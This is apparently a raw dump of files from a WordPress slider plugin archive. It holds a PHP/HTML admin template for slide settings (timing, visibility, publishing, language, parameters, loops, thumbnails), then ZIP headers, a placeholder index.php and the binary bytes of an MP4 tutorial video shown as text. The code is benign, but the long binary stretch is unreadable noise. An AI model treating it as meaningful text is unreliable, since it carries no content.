					<label_a><?php _e('Slide Length', 'revslider');?></label_a><input id="slide_length" class="slideinput easyinit" data-allowed="ms,Default" data-numeric="true" type="text" data-valcheck="slideMinLength"  placeholder="Default" data-evt="updateMaxTime" data-r="timeline.delay"><span class="linebreak"></span>
					<label_a><?php _e('Pause Slider', 'revslider');?></label_a><select data-theme="dark" id="slide_time_stopOnPurpose" class="slideinput tos2 nosearchbox easyinit"  data-r="timeline.stopOnPurpose">
						<option value="false"><?php _e('Default', 'revslider');?></option>
						<option value="true"><?php _e('Stop Slider Progress', 'revslider');?></option>
					</select>
				</div>
			</div><!-- END OF PROGRESS AND STATE -->

			<!-- Visibilty -->
			<div id="form_slidegeneral_visibility" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">check_circle</i><?php _e('Visibility', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fge_l1_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_icon class="ui_hide_in_nav singlerow"></label_icon><select data-theme="dark" id="slide_visibil_hideFromNavigation" class="slideinput tos2 nosearchbox easyinit"  data-r="visibility.hideFromNavigation">
						<option value="false"><?php _e('Visible in Navigation', 'revslider');?></option>
						<option value="true"><?php _e('Hidden in Navigation', 'revslider');?></option>
					</select><span class="linebreak"></span>
					<label_icon class="ui_hide_after_loop singlerow"></label_icon><input id="slide_vis_loop" data-numeric="true" data-allowed="" class="slideinput easyinit" type="text" data-r="visibility.hideAfterLoop"><span class="linebreak"></span>
					<label_icon class="ui_hide_on_mobile singlerow"></label_icon><input type="checkbox"  id="sl_vis_hidemobile" class="slideinput easyinit" data-r="visibility.hideOnMobile" /><span class="linebreak"></span>
				</div>
			</div><!-- END OF PROGRESS AND STATE -->
		</div>
	</div>



	<!-- SLIDE PUBLISH -->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_publish"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_9" >

			<!-- PUBLISH AND STATE -->
			<div id="form_slidegeneral_progstate" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">event</i><?php _e('Publish', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fge_l1_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_icon class="ui_published singlerow"></label_icon><select data-theme="dark" id="slide_publish_State" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updatepublishicons" data-r="publish.state">
						<option value="published"><?php _e('Published', 'revslider');?></option>
						<option value="unpublished"><?php _e('Unpublished', 'revslider');?></option>
					</select>
					<row class="direktrow">
						<onelong><label_icon class="ui_published_from"></label_icon><input id="slide_pub_from" class="inputDatePicker slideinput easyinit" type="text" data-r="publish.from"></onelong>
						<oneshort><label_icon class="ui_published_until"></label_icon><input id="slide_pub_until" class="inputDatePicker slideinput easyinit" type="text" data-r="publish.to"></oneshort>
					</row>					
				</div>
			</div><!-- END OF PROGRESS AND STATE -->
		</div>
	</div>

	<!-- WPML RULES -->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_wpml"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_13" >

			<!-- PUBLISH AND STATE -->
			<div id="form_slidegeneral_progstate" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">event</i><?php _e('Wordpress Multi Language', 'revslider');?></div>				
				<div class="collapsable">					
					<?php
if ($wpml->wpml_exists()) {
	?>
					<div id="wpml_exists">
						<label_a><?php _e('Slide Lang.', 'revslider');?></label_a><select data-theme="dark" id="slide_wpml_language" data-evt="changeflags" class="callEvent wpml_lang_selector slideinput tos2 easyinit"  data-r="child.language">
						</select><span class="linebreak"></span>
					</div>
					<?php
}
?>
				</div>
			</div><!-- END OF PROGRESS AND STATE -->
		</div>
	</div>

	<!-- SLIDE PARAMETERS SETTINGS-->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_parameters"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_7" >
			<!-- PARAMETERS -->
			<div id="form_slidegeneral_params" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">info</i><?php _e('Parameters', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fge_l1_4"><i class="material-icons">arrow_drop_down</i></div>-->

				<div id="slide_parameters" class="collapsable">
					<label_a><?php _e('Parameter 1', 'revslider');?></label_a><input placeholder="Enter Any Text" id="slide_info_p1" class="tqinput slideinput easyinit " type="text" data-r="info.params.0.v"><input id="slide_info_p1ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.0.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 2', 'revslider');?></label_a><input id="slide_info_p2" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.1.v"><input id="slide_info_p2ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.1.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 3', 'revslider');?></label_a><input id="slide_info_p3" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.2.v"><input id="slide_info_p3ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.2.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 4', 'revslider');?></label_a><input id="slide_info_p4" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.3.v"><input id="slide_info_p4ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.3.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 5', 'revslider');?></label_a><input id="slide_info_p5" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.4.v"><input id="slide_info_p5ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.4.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 6', 'revslider');?></label_a><input id="slide_info_p6" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.5.v"><input id="slide_info_p6ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.5.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 7', 'revslider');?></label_a><input id="slide_info_p7" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.6.v"><input id="slide_info_p7ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.6.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 8', 'revslider');?></label_a><input id="slide_info_p8" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.7.v"><input id="slide_info_p8ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.7.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 9', 'revslider');?></label_a><input id="slide_info_p9" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.8.v"><input id="slide_info_p9ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.8.l"><span class="linebreak"></span>
					<label_a><?php _e('Parameter 10', 'revslider');?></label_a><input id="slide_info_p10" placeholder="Enter Any Text" class="tqinput slideinput easyinit " type="text" data-r="info.params.9.v"><input id="slide_info_p10ch" class="oqinput slideinput easyinit valueduekeyboard" data-min="0" data-max="255" type="text" data-r="info.params.9.l"><span class="linebreak"></span>
					<label_a><?php _e('Description', 'revslider');?></label_a><textarea placeholder="Enter any Description which can be referenced from Navigation Elements." style="height:100px; line-height:20px;padding-top:5px;width:100%" id="slide_info_desc" class="slideinput easyinit" type="text" data-r="info.description"></textarea><span class="linebreak"></span>
				</div>
			</div><!-- END OF PARAMETERS -->
		</div>
	</div>


	<!-- SLIDE LOOP SETTINGS-->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_loops"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_11" >
			<!-- PARAMETERS -->
			<div id="form_slide_loops_iner" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">info</i><?php _e('Loop All Layer Timeline', 'revslider');?></div>					
				<div class="collapsable">
					<label_a><?php _e('Use Slide Loop', 'revslider');?></label_a><input type="checkbox"  data-setclasson="timeline" data-class="slideloopon" id="sl_layers_loop" class="slideinput easyinit callEvent" data-evt="updateSlideLoopRange" data-showhide="#slide_loop_wrap" data-showhidedep="true" data-r="timeline.loop.set" /><span class="linebreak"></span>
					<div id="slide_loop_wrap">
						<label_a><?php _e('Repeat', 'revslider');?></label_a><input id="slide_loop_repeat" class="slideinput easyinit input_with_presets" type="text" data-r="timeline.loop.repeat" data-numeric="true" data-allowed="unlimited" data-presets_text="$C$1!$C$2!$R$Unlimited!" data-presets_val="1!2!unlimited!"><span class="linebreak"></span>
						<label_a><?php _e('Start', 'revslider');?></label_a><input id="slide_loop_start" class="slideinput easyinit callEvent" data-evt="updateSlideLoopRange" type="text" data-r="timeline.loop.start"><span class="linebreak"></span>
						<label_a><?php _e('End', 'revslider');?></label_a><input id="slide_loop_end" class="slideinput easyinit callEvent" data-evt="updateSlideLoopRange"  type="text" data-r="timeline.loop.end"><span class="linebreak"></span>
					</div>
				</div>
			</div><!-- END OF PARAMETERS -->
		</div>
	</div>



	<!-- SLIDE THUMBNAIL ETTINGS-->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_thumbnail"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_6" >

			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<!-- THUMBNAILS -->
			<div id="form_slidegeneral_thumbnails" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">photo_album</i><?php _e('Module Admin Thumbnail', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fge_l1_2"><i class="material-icons">arrow_drop_down</i></div>-->

				<div class="collapsable">
					<row class="direktrow">
						<onelong><label_a><?php _e('Admin Thumb', 'revslider');?></label_a><div class="miniprevimage_wrap"><i class="material-icons">filter_hdr</i><div id="admin_purpose_thumbnail"></div></div></onelong>
						<oneshort>
							<div data-evt="updateslidethumbs" data-r="#slide#.slide.thumb.customAdminThumbSrc" data-rid="#slide#.slide.thumb.customAdminThumbSrcId" class="getImageFromMediaLibrary basic_action_button  callEventButton"><i class="material-icons">folder</i><?php _e('Select', 'revslider');?></div>
							<div data-evt="resetslideadminthumb" data-evtparam="slide.thumb.customAdminThumbSrc" class="resettodefault basic_action_button  callEventButton"><i class="material-icons">update</i><?php _e('Reset', 'revslider');?></div>
						</oneshort>
					</row>

					<div class="div15"></div>
					<row>
						<onelong><label_a><?php _e('Navig. Thumb', 'revslider');?></label_a><div class="miniprevimage_wrap"><i class="material-icons">filter_hdr</i><div id="navigation_purpose_thumbnail"></div></div></onelong>
						<oneshort>
							<div data-evt="updateslidethumbs" data-r="#slide#.slide.thumb.customThumbSrc" data-rid="#slide#.slide.thumb.customThumbSrcId" class="getImageFromMediaLibrary basic_action_button  callEventButton"><i class="material-icons">folder</i><?php _e('Select', 'revslider');?></div>
							<div data-evt="resetslideadminthumb" data-evtparam="slide.thumb.customThumbSrc" class="resettodefault basic_action_button  callEventButton"><i class="material-icons">update</i><?php _e('Reset', 'revslider');?></div>
						</oneshort>
					</row>
					<label_a><?php _e('Dimension', 'revslider');?></label_a><select data-theme="dark" id="slide_thumb_dimension" class="slideinput tos2 nosearchbox easyinit"  data-r="thumb.dimension">
						<option value="slider"><?php _e('From Slider Settings', 'revslider');?></option>
						<option value="orig"><?php _e('Original Size', 'revslider');?></option>
					</select>
					
				</div>

			</div>			
		</div>
	</div>

</div><!-- END OF SLIDE SETTINGS -->PK�y3\*�	�	index.phpnu�[���<?php // Silence is goldenPK�y3\��N@>@> assets/videos/hover_tutorial.mp4nu�[��� ftypmp42isomiso2avc1mp41�moovlmvhdؕ˙ؕ˙�m@�trak\tkhdؕ˙ؕ˙m@$$edtselstm�qmdia mdhdؕ˙ؕ˙_��	U�-hdlrvideVideoHandlerminfvmhd$dinfdrefurl �stbl�stsd�avc1$HH��6avcCd*��gd*����|�
~@0bph��"�pasp�stts������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������4stss	=[y����sdtp         �ctts����������������������������������������������������������������������������������������������������stsc�stsz�
�aByJ=bF?=A=/==.==2?='==.==,?Tqz�"�BV91�E5-497?862.0�?2:65,s�:"}*':! !     �00��7 b9f#7 %��9*Q8>T%#�#q7��:"�+(�SH%�1�f�\-z++2''%&&&&"&&&��:%
�I/,/)((stcooudtagmeta!hdlrmdirappl:ilst2�too*dataHandBrake 1.2.1 2019021700free(<mdat�����E���H��,� �#��x264 - core 157 r2935 545de2f - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=1 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=0 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=9 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=2 b_pyramid=0 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=30 keyint_min=15 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=20.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=62500 vbv_bufsize=78125 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00�e����.�����>MD�e�x�	�0��q.�'"�5'
+r}��x��ի��j�}$�-���6������|B�lS�w�5��;Q������e�}�ĴuqY�����V*�W6��n���h��`��S�xd�bu��꒶��v_�,|����bҒ_��s���6�
��1ߪ��&*x79G�#���>G�_5�g`?����"�v��&;r%�#ִ��j���.�{��/��XQ��T������"�V�9��z���?�TOUF��D����ۑqj�~���&��_EE^[w��s-V�DžQ~��$[�=�7�K~�J2��s��t,���">�C���[jx�r�F���E?[Ho���i�[�JV�y�Mr�,o���r��P�[}�w����t��ң
͹a}�7ƪ�<��-R&�+����[E�5�eY
0���M�|~�Y�V.��J:���l���Nd1�T�����	��Z�*��G��������Mlِ}Z�qɲF8m^�,,��v~���I����#`��$JT�/x�dz�pb���ݨo�E�A�#G_������Xy�O��<٢�T�����:��Dž��>
v��zwtX�̤i�
��6��<�>I3t�F���~���r����E�3����6���_�����v����cea�=��j/��A̔�)�Q<oF���T(v�-�O��i�59e��aAe׍��n�(��̎Ù��r0�H�?�H_����؈\���b{���J}�,Y�r�IOԻ{]��iHh�+�%Ӂ�P���"B }�%�I��"�Шqt��&$�i0�&?q~�E�C�V:�S�G�^��00�[����`(?�ܚHDaw��y�'�j�c}�BN��k��Z;�#F����:�<�&�9�VTݪ�ġ@��X�K��4sf�s�֮����~������o�h����hG
����\,cfPe�p5+�ߞ�We!<q�g�j�r�z���٬lv:�0>݁e����ND�P����|ī6�I$��ɝl�$8@�=�.B�p-N(Yz44����r\��h^��Q��#�1v��[���3�X�>�z��A�B�23���GU
>�:�>�g�W}�dK�{l;ļO�tv@�����PtuO6~b����!<{�y�
y�6��Ԁ��P���R�~�xX��H�l�(Q|��w^��ڙ�����j�>m
�Fy�QA��}^��3�"};��8�ʠ�0Sb�F��d���.�;�Ř_U2P����#k�Յ��a�P8�N�ŎP�y���dl�"��ï';�C�8$���/'�ǭ���j�J��W\Sy"]��
��ŭ�+�d�w��7�@��8p#K}m��5��B��1�PK(��J�y��Ǭ�-��);��۔؛�U�����֙���'�h�j>%�f����Tg�y��φ	/�P�1�<����mpe7�:.]��ڊ�Рc���wJ?j[��$Z����PG�D8���2�����<k�4��z��?�+�3+�z��{��i�s��Fu�����Ѥ�=��S��>������m6
�,�V%����0u4K8����
ɉC�R8�vʳw�Sw���Z�3?��Rbp��p�ވi(��׍����!�,!�y[�f�3��:m$���y#ʽF[�����O��`�c
�_CLk5��9ܟ��T'G�7հ6�w
���N��QM����Kr�����\��bo�"�\��ѐ@S������F��{��~����8P�2(���V�]:���W��	peԆ���0��[���0&T��-�_s��y�4��iJ@�tJ�,����؎Y=��1�P�^�6�s��"�bR@�9ypJ�|�%�9��z����`6U\�td�C_ApX��xd�!����!����$����!�C�DVƨ#Y�Q�8�a\S��9}`S(1���ԟ����j��R��ē"�p*/m��v�U�]�ۜ��T��L�muQ����(�+h"�8#9�ٝi�T���7/��֥��p��*��(C\�`5L�g�$T{�L��*QY����R�Îf��b��l�N�6��UO|�(����/����,Q�c�^���Pa�4���\l�@׋p� /[
V��tO���+H��g01�H؄$��s;�{fa��^A�s��q��R�0}|��I��E5,oҎ�l�K�kX&N��?[�bb8m8@��a�q���;���|���������
$ݗ���%�㯝֣�\�����h�p�TI�~{�'���"+������� �����
��o��QD�O��3��C�#K���^W��Y�o�<��
zL�F�*d��[������ۦQPq���э}Yk�g�i�𮮧V[����m,��5UP�:oUy3�+�
�C�)!Ȁ�x&O��|��]b�e�#��>��6��	z��u$ֹ��D���;V��
�v�<t�'��r���`�b���o�&�?���zWK��-�<��3�9{��������Ec
�_�4^��ak^��$1���/���/��D`��}���0U�[�!Q�s�y:��x,8��R�^m6�w���B���q��I�M�������g0�=�i��!�2��Q"�IdeH�·�3�	ɚ�yb&#��xX�732=�Q�H�F�hģ�ڣ�ұ)��ѽjS�#+��,��;a�H��e���w�Χ
6k��7�T�I����	��%a=����|@�Dj��SUi��TiTM�`��lE�ח�$�y#�f��o���@��R�G����M����?��#�ep��
sPx	��.�Y���Z���;M��������9
�{�e�7�,����O0���eH��nÞ�vH��-FT3 ���^�����j<���?�e��Ϥ�b�f�iT�$��1����K���Db�4��w%f�)�xԑ����蒩ʀ��Ƕ�<B0�8��l���2���ȟ��|�m���{��W-�B�)�����s��&�ʶPʫ���'h�T%�we�I�p�-���
֙���kR�\4kk�^�aL۟dݚ��=�����s�,j�b0sѹW�K�����d?O2���M��ߤ���a�Ě��B�����a+`C��"	X��Q�yZ2�t��l
yv���Y�����<m�7�r����6r��|􉴐	��T*���+�c�D^N|�@o��z]œ�dG�{�uS~ژȣd�fn�{C�(�hM�F�ISoQ=w��t�D.�(�Q��K�}߳����v/�\,ـ���~*?��w�;cS]��p6����8�^�d���!q�i��Ae�d��F��]�E��w�z%x����P}q\A�9����Z�r����w�g)�eظHȠ��#�wѴ'r�m��k�(��v�N-ф�J�38���k
��o�������t�58��y9م|�	p
�(u�3�q�GMZ�n�3��]ɺln^d�V��T.]#��Xb�V'�Ю4����xQȝ��l�Z�y�))�5�G�5{�$��1z~�+����K��U~�7�*��p�A���D���q?��e�.q���e�<|I7��f���8w�y�qȃ�_d����5���q$��|���Yh�����e@m�h�k�hH([�/�.�)T�f�m�s�A~i��Ӿ`
�2���NL,=����^����Q�B�G
�:���=����!W���ԅ�fPC�����}W���]�O[��`����h��x�"Aw�(�v�a
�rG�Х*�Ng'�"j�E�����Na��K��H�z�����G�s����u`c��ͧ���u=�Z�	�ћ$��t�yK�Uc��h)��{��gm	0fE��w(~�"�E���(_��h�e��&�X��K g�Ng�%��z�*�6hn
aN�;�#NuC��6��:���^�W�ruշ� EP;~�j�KP<�cc�=�)��Ya0>T�Z�!��4=jR�^���nj�H�ٰ��N�t�J�r��l鍗���N=#c�\k��ޓ!	y�n�
;�ϓ8O�4���Lf]�^~v�\|s2r��fc&��}Ŵ+�@_��Pތ���M��	�����KĈ��pe�Q�����4ed�[��?�?<1v����ͫD�`*�"6x���M�hJs�߰;1�R�Q=���SnzZ����3�àx��N�����!�����:�"H����԰@-����A*�s��[�]^U��o&vj,�쵫�.oC��7+P�����	�֣`�#S$���CHZ�h�k�0�o
�����Q��&�bL��N�Sm��3��q�u�D
4ضaˣ�`�?�'ʂ�\qn�8r�}������"�jK��oy�_���$u�Bg����|x�YT�������I{�r�~7J�e�x�9N��Q��
�#�g�_��#%]��5������5Q�
�:�p�&PU��
wQ���e�ӂ`_;B�oRo�#�f���KgJ+�d�a'�t���
��ђc��b����FG��_.�)�eܴk��#o�S\a�N.��
��ڜv���ApJ�Z�w-/j���J�dq�aT�������Ł�����	���L�慃
�Q�?ԃ�yn� ��^a��t�cj�_����V�K�(���K�A�V6�$(�c ��mfi0r�i��T%<R��D�8�k��\�y~�_�Pf��uy,��r�{0��Xu���������{Bj����jT�O9�i��,�
�牱���+�_��P['���ț3��[рe�����=	�SH<�J��M��qE=��Ї�
ޜ"�I���~0)ڊ��d
���:�f�z��?aq���t�� ��������l���d�h�H�-�� ⻭̏PԜA
9���Z���&#�m��39����1�W�Dw�]�&��.����h��Esh�0V�Hi�a_��?��}ě�w�Jo����4IM�R�L����(���4�UY�󀕳���U$\h��*����A*j0?��Ų���grf���ۻ��b��(DS,ڊ	��v�ɵ����ǥ�lƱ�K���Ӑ��}�G�)f��o�I�6��=OCTiP�#1�Նh**a_�Z�"S���2����J��Jr���N����T��R��	?1Q�D�)ȧ}�􎊏�T���ߚ����"�+�A�&1����O��PŬ#�P��q��Ҳ�~��El���ߚ�|^���M��.������!�fM����{J�;aj/�ؕm�G'�:�Pf��GOū�o��.&/�P�k�����Cc��5h�g�[��� x$'��ov���"p��H����l��J�&�}�F��@]��^�+R�6W2�!힔��k!�j3Y.M�Y�;\��x���f����gR��;X
;["Y���m��s�O?aP]�B��Iݚ�ST�!ldY��k%��_�/��A'[�Ch<�xt���a���݂{[jE��Ρ�����'T��u?�����nw]d"�>�D��	ZĆcRS���Y� Y�\�,���1��>��<�ݰ�<�P�f�+��}���H� uA�L1��0�r��@S�غJ�x&a��ó�Z޹�OCI�`�n|�G\I�M��CT�;�
��X�tZ�y�)\F�W��EK�p����3�ci�;��������׈y�S��mAF�h��	ZĆcS)��`lk����ٿ<32H�X)���@ɾ��P�1dY�5p��XX�ZÙ��9�j��	ZĆ��St48�p��̕�D� ��rp��"�$V�Lp���]���䓝
�O�^A�r1���F���J2���n�N��W���>�PF΄�Ԉ��)Y���'(�F�7L)�g-�O��q	p��/�y} |�^�kIˏ��/B����	Z���'�f�zd������/Y�a�R�i�6�#���"KE�b.顺��P�U�"���_�bO@;����	ZĆc#�8�1��w�˶:YTĕ��)��C�ܰ�=�|�q�!��g-�[]�@9A��1��8@�e����;�J.��&��qwY.0ޮ�ޒ(V��ld���8|êV�6/=����	ZĆc#�8�d���צ߻����"|���C�i�_�p���������.��9����	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�+A��1��8@�e����A9�R8��ϋ��2
ts��=����A9�ڊ�	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�9�܊�	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�*A��1��8@�e����@e���?��e�'!���^�2z݀9��	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�9��	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�.A��1��8@���p&�{���6Bz���(q�����QJ	f��t�;���	ZŸ7������ծ����L^[O9⤠%�2k�(���t�}	Km	�-��?�9���	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�#A�1��8@:�l��(EQ�a�hA�AҜ����9�,��	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�9�.��	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�*A�61��8@;6�p�z3 �އ�j��=a���g��QD<�9�R��	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�9�T��	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iX�(A�Z1_�(��@
aF
��j8�W*h��㞰茧�A;�x��	ZĆc#�8�1��w���Q1/�D.0^0=�QvV�a��F�:^\iZ!�1Pe����~g'�q�j�oNR�������:3��B�mÐ�P#O������T�P�s2tڠ����Q��^:lDfo�by�u������_�b�)��T��|t�2��dҕ�e�h1h��3.��}'�G$� ��]�X�,�/��6�L�L���K�g���_ư�A���k��\}��o�eԦ��nJۖ ����&e.h����l9ړ�:
�p(�̄�ۓo�X�
�ju��Y��Vr�*-���}|C���R�I��A�J���K��m�<mA�$y�h���,4>_N[V��Il�+��B�WC�'�F"r�J2[�n�}0�;��hW?����a���ƽ"�8�!�F�Q[a�[�/�DtOp,a��,?B�	uC�e����I �+u���H�A�ݐcCLP���p��Y�v܅7
4w9��˽K�<��͹�y{��&�E]zڷ
���܄�6�%�K��4�k%����ħ :D��K߮0./S`~�ŀ�?M���Y9�o���e5��|k�x3���wX����P�_-�DXCĻm�L����-��ڼ*����d:��}[��0���QN�G��ĸ�{�F��ܑ��>�w��j>��}��[#��6S�(������Z��=�^f���y���e�#0Ϩ��o�0s
4&�ELv�<���^%���Zg3p<�hbn�e�k�5i�P�N����1�<<�:���W���!�KQ���(R%}6NT 7�`,�6���_v�_�����Z�����T����GH8�}f1Z�U�s��w����]��ޖ�&�3e"'!$Rn����@��p�de��%e]N��m™H�E@�>��
��.#b-�
f_>�|�h�?*��;6��1B�4,��V_o:�.���皍�|��u]Q�S>��5�ľ��^�yƑT����A�4
��d.��캚�ʉ@�zVN[?߫�E��n9I4;�1:ҸC<��x�����v/a�x�Z@�p�5�v�����y�����z��|�aZ5�rc�y��:5q����G�d��N��:��2�cČ�i����w��<3>�Ѿ���f�h��~V��~�*���{�X��7>��15j�.%�	���zoz%��m��M�_�J�M���D2|ԛX��ރ%��(���=����ʐR��kg�kY�\�+���i��6g�ڟ�V�aM�X��1��ZB�c�WꟃT׊w��Q�+��s��ܡO�X��Z�`�o��z����Δ�����"�ܹ�%������+��V�|��`9N��w�|��vM,;jFm�2���v�f-�t�k|��Y{zB@��F0�Y��@�,�v��BK��\�V�p;P pk�J8�/T�3���8�k�jr?|{a�
��S�f�o�y��	Yؿ^��[��$L徊�5�jj7��h牶�V��`�D"ە9ڵ�ǹZ�q��g�4g�W��NJ�C)�hx�4&��tl)?xK�]��0w��-i⛏�$�EN����Ĵ���8����H��fWlݧw�ry2=Ơ�$���\kg1�ߦu�b�"�Jޣ>9�|7:{����#ej��{�������ķo�֙�aq:O��6�(
c$��;�t��c�G^�o�*|��\��&#2]��,�v�ӯ��I�A��:�/�Px7���\�H2B��%���^��I�q�^Q�*Sj������=��ȇ���A�,��DQ�o`��HA��+�Ο�z��>�@�k$�>򈗊��M�J��Uf���:O8w2M���R4���}b��zrn�5a������'����.��1�KΪE{�,Y���y��gʶ�Ö��/B�>�-7s��K�uQm�H��l97�[�c��yv�`�ңc�����((oIޔR:�^Y_A�U��ՑG��yd Ԗg� �~TL�;71b�r��qf�t-8��R���H��7����Uŝ��^���p���r�?A�/��`�W����j?*��J�+eH���dP5�'g�0�����Z�+�	�T�G0�:55����vIJ�Lڌ���B��$
�a���H�c�G1���D�v��N/�B֛ck6�������)��ՒIj��=�}_{hU!�L��8'^�L�	�M�)>��� Jy�7�Z>��쑋��N�(��L��g+�a��#Q�tE�n�d��8����1k�n:��}x£e��V��+�I}�f�t��j��W����Đ�w0@�-В�Oޣ��yTV?�h��X�h���'�Z�_�r9��ؕ���p�f�q�)zy�%�džv�G"a��*w�_��@�wGi����<B��px4�T#����-�T)�#j�~��҉K�u
*���7̱�j��E	�1<;AIs��"���~�K��v��ukRJL�oP��2���x0���fk�$��'�ʴy����uh�܅߸�ڸ'�[
I�Y!���z y5��_�M�L��F��}k2���]0�V��)F��y���r�N�Z}�]|���Wq�D��U��kx��" �4��b[�?�2I���"@�yz��g���4���0�e��������C����6't�N���\�dM�bt��œ���K���6�t�)��q���i�
+�.���������m�|o:f.�b�-FC�o�nw���4����BZ`�/�ݨ�&��F	E�~B:��
�Ps�|�Ib4ΙI7 h&ĝ��鼴܆Q�[`���/:�;yXZ���(D��`ƈ�Ö�	.�
��ҝ�2��o���k?�/����������J�t���f�w����mI�hDd]����z�V�}]�f�����QBK�͌e���|�ga/�吓�R�f(-��\�x)�$��=�f���G��b��J���o����7"9�?[F��v�/�8^����pUJD��$x��e?�I�Hk�YX*_�f��MhCь�����D�f��S�O�.
�IN^�:��U48CJ�3`��[/�O%~��H}��h&uIğZm�,�a�S��8�����/�V���՗Q�-���J�8�8@?��?%��ȃ��T�z��K�&-h�рpм�+k��a��Υ��VI`?|�|�x�PX�.uO�mR+1�9�%�],L�AU ����s�U3��٦���&N��p�Q1�
*z��g�
�S�J�8���CM�����E7�\6�
)����т�Cj�m�)�q���4�\�W:a��+�@K�>���Pd��E]��j\'�7}2l�c!IYW�T���u��q�"�_��I�㷸��x��_��IDq�/X�����u�"���U�1M�JT<W�%�B�^~,��\�Sh��B,��z�0��~8I;�r�m��O�*R�����f�e�舦0p��oi�F���)��<�s��a*ï�����
��ٝ�Ɂ�Z��7�
l�F��یھcΪ��e�Ŝ_�Ba8�kSO�V�g�,^$qk�Teb�K
 ��XCؚ[M��ԙ�ğ�k?=2�{�}L���|�3���� �q�xc�4��|���	�"�`�F�C�:)����j�:h���z�cA����vtgg�B�5�C�/I���M
ݔ~�w�Ly:u��gX:b�au�Lj\�!w����}�h���S���!����d�B���N�K�5f�
�'�Cj�&�&0��ĕ�Q+�j��K�;��W{{�<�����l�V@}
